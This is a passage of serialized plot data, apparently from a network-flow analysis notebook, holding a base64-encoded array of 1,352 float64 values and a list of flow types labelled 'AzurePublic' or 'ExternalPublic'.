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SNjnZCAIAnlI2OdkIAgCeUjY52QgAA4nqAjnZCAADieoCOdkIAALrOgY52QgCAv0WPjnZCAACpsIOOdkIAAKmwg452QgCAHL2DjnZCAADoYYSOdkIAgKW7g452QgAANHmFjnZCAIB+7oaOdkIAAGG8g452QgCATzSOjnZCAABbUoCOdkIAgBWRjo52QgCAFZGOjnZCAIAVkY6OdkIAAO5bcI52QgAAgCBvjnZCAACAIG+OdkIAAFTCcY52QgAA8LRvjnZCAABvf3GOdkIAgH0Wb452QgCAXDB2jnZCAICelY2OdkIAAGF6jo52QgAAYXqOjnZCAIBcMHaOdkIAgFwwdo52QgCAXDB2jnZCAAD2oIeOdkIAAPagh452QgAA9qCHjnZCAAD2oIeOdkIAgLhud452QgAAFPx3jnZCAAAU/HeOdkIAgK+ieY52QgCAr6J5jnZCAAAlAnqOdkIAgGJAiI52QgCA1Wx6jnZCAADxY3mOdkIAAPFjeY52QgAA39F8jnZCAADf0XyOdkIAAA1xfY52QgCA0x6OjnZCAIDffH6OdkIAgN98fo52QgCA33x+jnZCAIC62IiOdkIAANnSfI52QgAA2dJ8jnZCAIDnUX6OdkIAgMr0dY52QgAA4qOOjnZCAADio46OdkIAAB95kI52QgAAi52HjnZCAACLnYeOdkIAAIudh452QgAAi52HjnZCAABT722OdkIAAIrda452QgAAit1rjnZCAACK3WuOdkIAAMIhbY52QgAAN6xyjnZCAAA3rHKOdkIAgBYkc452QgAAqBiLjnZCAACoGIuOdkIAABkodI52QgCAwzpujnZCAICVp2uOdkIAgJWna452QgAApIVyjnZCAACkhXKOdkIAgBuWjY52QgCAG5aNjnZCAACwdomOdkIAAHP6jY52QgAAc/qNjnZCAIBSnIeOdkIAgFKch452QgCAUpyHjnZCAIBSnIeOdkIAgFKch452QgAAua2KjnZCAAC5rYqOdkIAACNDi452QgAAI0OLjnZCAADduYeOdkIAAN25h452QgAA3bmHjnZCAADduYeOdkIAAN25h452QgCATJ2HjnZCAIDJnYeOdkIAgMmdh452QgAAkZyHjnZCAACqX42OdkIAAKpfjY52QgAAql+NjnZCAACqX42OdkIAgE/Jio52QgAA2VBojnZCAADZUGiOdk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IAAOSSe412QgAAvOZ8jXZCAIBAEJCNdkIAgEAQkI12QgAAeuV+jXZCAAB65X6NdkIAAHrlfo12QgCAawd4jXZCAIBrB3iNdkIAAAg5iY12QgAACDmJjXZCAIBTdnuNdkIAgNcfcY12QgCASCJxjXZCAIBIInGNdkIAALcacY12QgAAtxpxjXZCAAAvB3GNdkIAAOTOcY12QgAA0eByjXZCAIAxgnONdkIAgFV8c412QgAAXSlxjXZCAIC/jnSNdkIAAHB8dI12QgAAcHx0jXZCAACfiXSNdkIAAJ+JdI12QgAAaYx1jXZCAADkvHSNdkIAgLErd412QgCAg5h0jXZCAICDmHSNdkIAgNI1ao12QgAAcSZqjXZCAABxJmqNdkIAALgvao12QgAAuC9qjXZCAADk+GqNdkIAAKrYao12QgAA2z5qjXZCAACNS2qNdkIAAI1Lao12QgCA77BtjXZCAABeqW2NdkIAAF6pbY12QgCAWcltjXZCAIBZyW2NdkIAACOebY12QgAAI55tjXZCAADk5m2NdkIAADk7b412QgAAdbptjXZCAIDqxmaNdkIAgGHIZo12QgCAYchmjXZCAADQwGaNdkIAANekZ412QgCAAlhjjXZCAICdU2ONdkIAgJ1TY412QgAA6FFjjXZCAADoUWONdkIAgIDAY412QgAA5CJkjXZCAICsAGaNdkIAgH5tY412QgAA5BBnjXZCAIBm3GaNdkIAgGbcZo12QgCAcDKJjXZCAIBwMomNdkIAALSTkY12QgCAGulfjXZCAAAA41+NdkIAAADjX412QgAAAONfjXZCAAAA41+NdkIAAOQ6YI12QgCAxJFijXZCAADVdWGNdkIAgJx6YI12QgCAlv5fjXZCAIAyelyNdkIAgJJqXI12QgCAkmpcjXZCAICSalyNdkIAAJtzXI12QgAAm3NcjXZCAIAI8l6NdkIAAORMXY12QgCAoghejXZCAAC4g1yNdkIAAHCPXI12QgCAYpxVjXZCAABIllWNdkIAAEiWVY12QgAAundXjXZCAABIllWNdkIAAEiWVY12QgAA5HZWjXZCAID7PlaNdkIAgA2tWI12QgAAoLFVjXZCAACgsVWNdkIAAKCxVY12QgCASgtZjXZCAIBzGVmNdkIAgHMZWY12QgAAMAVZjXZCAAAwBVmNdkIAgOoUWo12QgAA5GRZjXZCAACIIFmNdkIAAIggWY12QgCAZ1qNjXZCAIBYDJCNdkIAgFgMkI12QgCAWAyQjXZCAICAL5CNdkIAgJK+To12QgAAGbNOjXZCAAAZs06NdkIAAHi4To12QgAAeLhOjXZCAADkoE+NdkIAgEuvT412QgCAQBCQjXZCAIBAEJCNdkIAgEAQkI12QgCAkdNOjXZCAICR006NdkIAANoZSo12QgCAxglIjXZCAIDGCUiNdkIAANSXSo12QgCAItFHjXZCAIAi0UeNdkIAAJ0Xjo12QgAA5NBHjXZCAIDviEqNdkIAgD5zSI12QgAA5BSQjXZCAIDB9UeNdkIAgKpPS412QgAAGUhLjXZCAAAZSEuNdkIAgApAS412QgCACkBLjXZCAIBiW0uNdkIAAOS4S412QgCAqWRLjXZCAADQ30yNdkIAgNRIS412QgCA1EhLjXZCAIBjQEyNdkIAgGNATI12QgAAcK5CjXZCAABwrkKNdkIAgOYEQY12QgCA5gRBjXZCAIDmBEGNdkIAgOYEQY12QgAABatCjXZCAABt80GNdkIAAG3zQY12QgAA5PpAjXZCAICLpUGNdkIAAFisQ412QgAABatCjXZCAACzF0GNdkIAALMXQY12QgCAWKGMjXZCAIBYoYyNdkIAAPKqRo12QgAA8qpGjXZCAIAWaESNdkIAgBZoRI12QgAAuIRHjXZCAAC4hEeNdkIAgDpiRI12QgCAOmJEjXZCAIB080aNdkIAAOTiRI12QgCABxpHjXZCAAALjEeNdkIAAAuMR412QgAAC4xHjXZCAAALjEeNdkIAgGRVRY12QgAAC4xHjXZCAAALjEeNdkIAAJuGRI12QgAAm4ZEjXZCAACbhkSNdkIAAOQmjY12QgAAKAqJjXZCAAAoComNdkIAAF2BjI12QgAAXYGMjXZCAIB6LVKNdkIAALhCUo12QgAAuEJSjXZCAAC4QlKNdkIAALhCUo12QgCAQAdTjXZCAABgJ1KNdkIAAGAnUo12QgCAaRtSjXZCAIBpG1KNdkIAAMH8Uo12QgAA5I5SjXZCAICC/FKNdkIAgIL8Uo12Qg==\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[1352]},\"FlowType\":[\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePu